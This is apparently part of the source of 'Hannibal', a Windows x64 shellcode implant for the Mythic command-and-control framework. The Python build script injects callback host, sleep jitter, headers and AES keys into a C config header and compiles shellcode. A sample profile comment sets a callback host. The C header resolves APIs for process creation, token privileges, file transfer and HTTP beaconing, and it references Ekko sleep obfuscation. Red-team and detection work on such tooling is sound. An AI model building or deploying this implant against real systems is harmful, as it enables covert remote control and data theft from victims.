note = """ 30 | Microsoft Windows x64 PIC Agent (Stardust) written in C. Version: {} 31 | """.format(version) 32 | 33 | supports_dynamic_loading = True 34 | 35 | build_parameters = [ 36 | BuildParameter( 37 | name = "output_type", 38 | parameter_type=BuildParameterType.ChooseOne, 39 | choices=["shellcode"], 40 | default_value="shellcode", 41 | description="Output as shellcode.", 42 | ) 43 | ] 44 | 45 | c2_profiles = ["http"] 46 | 47 | base_path = pathlib.Path(".") 48 | agent_path = pathlib.Path(".") / "hannibal" / "mythic" 49 | agent_code_path = pathlib.Path(".") / "hannibal" / "agent_code" 50 | agent_icon_path = agent_path / "agent_functions" / "hannibal.svg" 51 | hannibal_path = pathlib.Path(".") / agent_code_path / "Hannibal" 52 | 53 | build_steps = [ 54 | BuildStep(step_name="Config", step_description="Inserting Configuration Into config.h"), 55 | BuildStep(step_name="Compile", step_description="Compile"), 56 | BuildStep(step_name="Finish", step_description="Finish"), 57 | ] 58 | 59 | async def build(self) -> BuildResponse: 60 | 61 | resp = BuildResponse(status=BuildStatus.Error) 62 | 63 | original_dir = os.getcwd() 64 | 65 | os.chdir(self.hannibal_path) 66 | 67 | for listener in self.c2info: 68 | 69 | config_dict = {} 70 | 71 | profile = listener.get_c2profile() 72 | 73 | for key, val in listener.get_parameters_dict().items(): 74 | if (key == "callback_host"): 75 | if ("://" in val): 76 | config_dict["callback_host"] = val.split('://')[-2:][1] 77 | config_dict["callback_protocol"] = val.split('://')[-2:][0] 78 | else: 79 | config_dict["callback_host"] = val 80 | config_dict["callback_protocol"] = "HTTPS" 81 | elif (key == "callback_interval"): 82 | config_dict["callback_interval"] = val 83 | elif (key == "callback_jitter"): 84 | config_dict["callback_jitter"] = val 85 | elif (key == "headers"): 86 | config_dict["user_agent"] = val["User-Agent"] 87 | 88 | custom_headers = [] 89 | for header_key, header_value in val.items(): 90 | if header_key != "User-Agent": 91 | custom_headers.append(f"{header_key}: {header_value}") 92 | config_dict["custom_headers"] = custom_headers 93 | 94 | elif (key == "get_uri"): 95 | config_dict["get_uri"] = val 96 | elif (key == "post_uri"): 97 | config_dict["post_uri"] = val 98 | elif (key == "AESPSK"): 99 | config_dict["enc_key"] = val["enc_key"] 100 | config_dict["dec_key"] = val["dec_key"] 101 | 102 | 103 | await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( 104 | PayloadUUID=self.uuid, 105 | StepName="Config", 106 | StepStdout='Inserting Config', 107 | StepSuccess=True 108 | )) 109 | 110 | # Which DLLs each command requires. If command is not included in build, do not load that dll. 111 | dll_required = { 112 | "REQUIRE_DLL_NTDLL" : [], # Always included 113 | "REQUIRE_DLL_KERNEL32" : [], # Always included 114 | "REQUIRE_DLL_WININET": [], # At the moment this is the only networking library available. TODO: Add WinHTTP or other options. 115 | "REQUIRE_DLL_BCRYPT": [], # Used throughout the agent. Always included. TODO: Refactor so it's optional. 116 | "REQUIRE_DLL_ADVAPI32": [], # Needed for multiple things including Ekko sleep. TODO: Refactor so it's optional. 117 | "REQUIRE_DLL_IPHLPAPI": ["INCLUDE_CMD_IPINFO", "INCLUDE_CMD_WHOAMI"], 118 | "REQUIRE_DLL_WS2_32": ["INCLUDE_CMD_IPINFO"], 119 | } 120 | 121 | custom_headers_line = "" 122 | if custom_headers: 123 | custom_headers_line += '#define CONFIG_CUSTOM_HEADERS {' 124 | for header in custom_headers: 125 | custom_headers_line += f'L"{header}", ' 126 | custom_headers_line = custom_headers_line.rstrip(', ') + '}' 127 | 128 | # {config_dict["callback_protocol"]}:// 129 | line = "#define PIC_BUILD\n" 130 | line += "#define PROFILE_MYTHIC_HTTP\n" 131 | line += f'#define CONFIG_SLEEP {config_dict["callback_interval"]}\n' 132 | line += f'#define CONFIG_SLEEP_JITTER {config_dict["callback_jitter"]}\n' 133 | line += f'#define CONFIG_HOST L"{config_dict["callback_host"]}"\n' 134 | line += f'#define CONFIG_UA L"{config_dict["user_agent"]}"\n' 135 | line += custom_headers_line + "\n" 136 | line += f'#define CONFIG_POST_URI L"/{config_dict["post_uri"]}"\n' 137 | line += f'#define CONFIG_UUID "{self.uuid}"\n' 138 | enc_key = base64.b64decode(config_dict["enc_key"]) 139 | dec_key = base64.b64decode(config_dict["dec_key"]) 140 | enc_key_str = '{ ' + ', '.join(f'0x{byte:02x}' for byte in enc_key) + ' }' 141 | dec_key_str = '{ ' + ', '.join(f'0x{byte:02x}' for byte in dec_key) + ' }' 142 | line += f'#define CONFIG_ENCRYPT_KEY {enc_key_str}\n' 143 | 144 | included_commands = [f"INCLUDE_CMD_{x.upper()}" for x in self.commands.get_commands()] 145 | 146 | added_dlls = set() 147 | 148 | for cmd in included_commands: 149 | for dll_key, required_cmds in dll_required.items(): 150 | if cmd in required_cmds and dll_key not in added_dlls: 151 | line += f'#define {dll_key}\n' 152 | added_dlls.add(dll_key) 153 | 154 | # For now these are required 155 | line += "#define REQUIRE_DLL_NTDLL\n" 156 | line += "#define REQUIRE_DLL_KERNEL32\n" 157 | line += "#define REQUIRE_DLL_ADVAPI32\n" 158 | line += "#define REQUIRE_DLL_WININET\n" 159 | line += "#define REQUIRE_DLL_BCRYPT\n" 160 | 161 | for cmd in included_commands: 162 | line += f'#define {cmd}\n' 163 | 164 | with open('include/config.h', 'w') as output_file: 165 | output_file.writelines(line) 166 | 167 | if(self.get_parameter("output_type") == "shellcode"): 168 | 169 | await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( 170 | PayloadUUID=self.uuid, 171 | StepName="Compile", 172 | StepStdout='Building Hannibal', 173 | StepSuccess=True 174 | )) 175 | 176 | 177 | try: 178 | result = subprocess.run(['make', '-f', f'linux_makefile'], check=True, text=True, capture_output=True) 179 | except subprocess.CalledProcessError as e: 180 | resp.build_stderr = f"Error during make: {e.stderr}" 181 | resp.set_status(BuildStatus.Error) 182 | os.chdir(original_dir) 183 | return resp 184 | 185 | 186 | await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( 187 | PayloadUUID=self.uuid, 188 | StepName="Finish", 189 | StepStdout='Finish', 190 | StepSuccess=True 191 | )) 192 | 193 | resp.payload = open('bin/hannibal.bin', 'rb').read() 194 | resp.build_stdout = "Download Bin" 195 | resp.set_status(BuildStatus.Success) 196 | os.chdir(original_dir) 197 | return resp 198 | 199 | 200 | # For reference, the dict you get from the HTTP C2 Profile: 201 | # dict_items( 202 | # [ 203 | # ('AESPSK', {'dec_key': None, 'enc_key': None, 'value': 'none'}), 204 | # ('callback_host', 'http://10.10.10.54'), 205 | # ('callback_interval', 10), 206 | # ('callback_jitter', 23), 207 | # ('callback_port', 80), 208 | # ('encrypted_exchange_check', False), 209 | # ('get_uri', 'index'), 210 | # ('headers', {'User-Agent': 'TESTUA'}), 211 | # ('killdate', '2025-01-17'), 212 | # ('post_uri', 'data'), 213 | # ('proxy_host', ''), 214 | # ('proxy_pass', ''), 215 | # ('proxy_port', ''), 216 | # ('proxy_user', ''), 217 | # ('query_path_name', 'q') 218 | # ] 219 | # ) 220 | 221 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/hannibal.h: -------------------------------------------------------------------------------- 1 | #ifndef HANNIBAL_H 2 | #define HANNIBAL_H 3 | 4 | 5 | #include "config.h" 6 | 7 | // Note: The order of the includes matters. 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | #include "utility_strings.h" 21 | #include "utility_memory.h" 22 | #include "utility_sleep_ekko.h" 23 | #include "utility_winapi_function_resolution.h" 24 | 25 | 26 | // Hannibal internal settings 27 | 28 | #define CONCURRENT_FILE_DOWNLOADS 5 29 | #define CONCURRENT_FILE_UPLOADS 5 30 | #define FILE_DOWNLOAD_CHUNK_SIZE 512000 // Bytes. Agent > Controller 31 | #define FILE_UPLOAD_CHUNK_SIZE 512000 // Bytes. Controller > Agent 32 | 33 | #define ENCRYPT_KEY_SIZE 32 // AES keysize 34 | #define LOCAL_ENCRYPT_KEY_SIZE 16 // Randomly generated each run for sleep or heap encryption. 16 bytes to work with Ekko. 35 | 36 | #define PTR_OF_TYPE( x ) __typeof__( x ) * x; 37 | #define SECTION_CODE __attribute__( ( section( ".text$CODE" ) ) ) 38 | #define SECTION_GLOBAL __attribute__( ( section( ".global" ) ) ) 39 | #define SECTION_RDATA __attribute__( ( section( ".rdata" ) ) ) 40 | 41 | typedef struct _BUFFER { 42 | PVOID Buffer; 43 | ULONG Length; 44 | } BUFFER, *PBUFFER; 45 | 46 | #ifdef PIC_BUILD 47 | EXTERN_C ULONG __Instance_offset; 48 | EXTERN_C PVOID __Instance; 49 | 50 | EXTERN_C PVOID StRipStart(); 51 | EXTERN_C PVOID StRipEnd(); 52 | 53 | VOID Hannibal( 54 | _In_ PVOID Param 55 | ); 56 | 57 | #endif 58 | 59 | typedef struct 60 | { 61 | DWORD Length; 62 | DWORD MaximumLength; 63 | PVOID Buffer; 64 | } USTRING; 65 | 66 | typedef struct 67 | { // Tracking file downloads. Agent > Mythic 68 | LPCSTR task_uuid; 69 | LPCSTR download_uuid; 70 | LPCWSTR path; 71 | UINT64 bytes_sent; 72 | UINT32 chunks_sent; 73 | UINT32 chunk_count; 74 | UINT64 filesize; 75 | } FILE_DOWNLOAD; 76 | 77 | typedef struct 78 | { // Tracking file uploads. Mythic > Agent 79 | LPCSTR task_uuid; 80 | LPCSTR upload_uuid; 81 | LPCWSTR path; 82 | UINT64 bytes_received; 83 | UINT32 chunks_received; 84 | UINT32 chunk_count; 85 | UINT64 filesize; 86 | } FILE_UPLOAD; 87 | 88 | 89 | typedef struct _TASK_QUEUE TASK_QUEUE; 90 | typedef struct _TASK_ENTRY TASK_ENTRY; 91 | 92 | typedef struct _INSTANCE { 93 | 94 | BUFFER Base; 95 | 96 | struct { 97 | 98 | // Ntdll.dll 99 | PTR_OF_TYPE( RtlRandomEx ) 100 | PTR_OF_TYPE( NtCreateEvent ) 101 | PTR_OF_TYPE( RtlAllocateHeap ) 102 | PTR_OF_TYPE( RtlCreateTimerQueue ) 103 | PTR_OF_TYPE( NtProtectVirtualMemory ) 104 | PTR_OF_TYPE( RtlCreateTimer ) 105 | PTR_OF_TYPE( RtlRegisterWait ) 106 | PTR_OF_TYPE( RtlCaptureContext ) 107 | PTR_OF_TYPE( NtSetEvent ) 108 | PTR_OF_TYPE( NtContinue ) 109 | PTR_OF_TYPE( NtClose ) 110 | PTR_OF_TYPE( NtSignalAndWaitForSingleObject ) 111 | PTR_OF_TYPE( RtlDeleteTimerQueue ) 112 | PTR_OF_TYPE( NtQueryInformationProcess ) 113 | PTR_OF_TYPE( RtlExitUserThread ) 114 | 115 | 116 | // Kernel32.dll 117 | PTR_OF_TYPE( Sleep ) 118 | PTR_OF_TYPE( FindClose ) 119 | PTR_OF_TYPE( ExitProcess ) 120 | PTR_OF_TYPE( VirtualFree ) 121 | PTR_OF_TYPE( VirtualAlloc ) 122 | PTR_OF_TYPE( VirtualProtect ) 123 | PTR_OF_TYPE( LoadLibraryA ) 124 | PTR_OF_TYPE( GetLastError ) 125 | PTR_OF_TYPE( FindNextFileW ) 126 | PTR_OF_TYPE( DeleteFileW ) 127 | PTR_OF_TYPE( RemoveDirectoryW ) 128 | PTR_OF_TYPE( GetTickCount ) 129 | PTR_OF_TYPE( FindFirstFileW ) 130 | PTR_OF_TYPE( CreateProcessW ) 131 | PTR_OF_TYPE( OpenProcess ) 132 | PTR_OF_TYPE( WaitForSingleObject ) 133 | PTR_OF_TYPE( CreateTimerQueueTimer ) 134 | PTR_OF_TYPE( CreateEventW ) 135 | PTR_OF_TYPE( CreateTimerQueue ) 136 | PTR_OF_TYPE( SetEvent ) 137 | PTR_OF_TYPE( DeleteTimerQueue ) 138 | PTR_OF_TYPE( GetProcAddress ) 139 | PTR_OF_TYPE( GetFileAttributesW ) 140 | PTR_OF_TYPE( CreateFileW ) 141 | PTR_OF_TYPE( GetFileSizeEx ) 142 | PTR_OF_TYPE( SetFilePointer ) 143 | PTR_OF_TYPE( ReadFile ) 144 | PTR_OF_TYPE( CloseHandle ) 145 | PTR_OF_TYPE( WriteFile ) 146 | PTR_OF_TYPE( CopyFileW ) 147 | PTR_OF_TYPE( MoveFileExW ) 148 | PTR_OF_TYPE( Process32FirstW ) 149 | PTR_OF_TYPE( Process32NextW ) 150 | PTR_OF_TYPE( IsWow64Process ) 151 | PTR_OF_TYPE( CreateDirectoryW ) 152 | PTR_OF_TYPE( GetLogicalDrives ) 153 | PTR_OF_TYPE( GetComputerNameExW ) 154 | PTR_OF_TYPE( GetModuleFileNameW ) 155 | PTR_OF_TYPE( GetDiskFreeSpaceExW ) 156 | PTR_OF_TYPE( GetCurrentProcessId ) 157 | PTR_OF_TYPE( SetCurrentDirectoryW ) 158 | PTR_OF_TYPE( FileTimeToSystemTime ) 159 | PTR_OF_TYPE( SystemTimeToFileTime ) 160 | PTR_OF_TYPE( GetCurrentDirectoryW ) 161 | PTR_OF_TYPE( WaitForSingleObjectEx ) 162 | PTR_OF_TYPE( GetVolumeInformationW ) 163 | PTR_OF_TYPE( CreateToolhelp32Snapshot ) 164 | PTR_OF_TYPE( NtSetInformationVirtualMemory ) 165 | PTR_OF_TYPE( HeapAlloc ) 166 | PTR_OF_TYPE( HeapFree ) 167 | PTR_OF_TYPE( GetProcessHeap ) 168 | 169 | 170 | // User32.dll 171 | PTR_OF_TYPE( MessageBoxA ) 172 | PTR_OF_TYPE( MessageBoxW ) 173 | 174 | 175 | // Wininet.dll 176 | PTR_OF_TYPE( InternetOpenW ); 177 | PTR_OF_TYPE( InternetConnectW ); 178 | PTR_OF_TYPE( HttpOpenRequestW ); 179 | PTR_OF_TYPE( HttpSendRequestW ); 180 | PTR_OF_TYPE( InternetReadFile ); 181 | PTR_OF_TYPE( InternetSetOptionW ); 182 | PTR_OF_TYPE( InternetCloseHandle ); 183 | PTR_OF_TYPE( InternetQueryOptionW ); 184 | PTR_OF_TYPE( HttpAddRequestHeadersW ); 185 | 186 | 187 | // Advapi32.dll 188 | NTSTATUS ( WINAPI* SystemFunction032 ) ( USTRING* data, USTRING* key ); 189 | PTR_OF_TYPE( OpenProcessToken ); 190 | PTR_OF_TYPE( LookupAccountSidW ); 191 | PTR_OF_TYPE( GetSidSubAuthority ); 192 | PTR_OF_TYPE( GetTokenInformation ); 193 | PTR_OF_TYPE( LookupPrivilegeValueW ); 194 | PTR_OF_TYPE( AdjustTokenPrivileges ); 195 | 196 | 197 | // Bcrypt.dll 198 | PTR_OF_TYPE( BCryptGenRandom ); 199 | PTR_OF_TYPE( BCryptOpenAlgorithmProvider ); 200 | PTR_OF_TYPE( BCryptCloseAlgorithmProvider ); 201 | 202 | 203 | // Iphlpapi.dll 204 | PTR_OF_TYPE( GetAdaptersAddresses ); // Note: The order of the includes matters. 205 | 206 | 207 | // Ws2_32.dll 208 | PTR_OF_TYPE( InetNtopW ); 209 | 210 | } Win32; 211 | 212 | struct { 213 | PVOID Ntdll; 214 | PVOID Kernel32; 215 | PVOID User32; 216 | PVOID WinInet; 217 | PVOID Advapi32; 218 | PVOID Bcrypt; 219 | PVOID Iphlpapi; 220 | PVOID Ws2_32; 221 | } Modules; 222 | 223 | struct { 224 | 225 | // Core 226 | UINT32 sleep; 227 | UINT32 jitter; 228 | CHAR *uuid; 229 | BOOL checked_in; 230 | 231 | // HTTP 232 | WCHAR *controller_host; 233 | WCHAR *http_method; 234 | WCHAR *user_agent; 235 | WCHAR *controller_url; 236 | 237 | // Encryption 238 | CHAR *encrypt_key; // Used in the AES encrypted comms between the controller and agent 239 | UINT32 encrypt_key_size; 240 | CHAR *decrypt_key; 241 | UINT32 decrypt_key_size; 242 | CHAR *local_encryption_key; // Randomly generated each run for sleep or heap encryption. 243 | CHAR *local_encryption_key_size; 244 | 245 | } config; 246 | 247 | struct { 248 | 249 | TASK_QUEUE *tasks_queue; // From controller 250 | TASK_QUEUE *tasks_response_queue; // To controller 251 | TASK_ENTRY *task_func_ptrs; // Array of function ptrs pointing to commands 252 | UINT32 task_func_ptrs_size; // How many function ptrs 253 | 254 | UINT32 download_count; // How many files are being downloaded concurrently 255 | FILE_DOWNLOAD *file_downloads; // Array tracking which files are being downloaded 256 | 257 | UINT32 upload_count; // How many files are being uploaded concurrently 258 | FILE_UPLOAD *file_uploads; // Array tracking which files are being uploaded 259 | 260 | } tasks; 261 | 262 | } INSTANCE, *PINSTANCE; 263 | 264 | 265 | /** 266 | * This enables using the debug build and stepping in GDB in vscode. 267 | * In PIC_BUILD unless we pass the address as a param to every function that needs it, 268 | * we have to call StRipStart every time which is not ideal but it works. 269 | */ 270 | #ifdef PIC_BUILD 271 | #define HANNIBAL_INSTANCE_PTR PINSTANCE hannibal_instance_ptr = (PINSTANCE)*(PVOID*)((PVOID)((UINT_PTR)StRipStart() + (UINT_PTR)&__Instance_offset)); 272 | #else 273 | #define HANNIBAL_INSTANCE_PTR extern PINSTANCE hannibal_instance_ptr; 274 | #endif 275 | 276 | void hannibal_exec_tasks(); 277 | void hannibal_resolve_pointers(); 278 | ULONG generate_sleep_with_jitter(ULONG sleep, ULONG jitter); 279 | 280 | 281 | #endif --------------------------------------------------------------------------------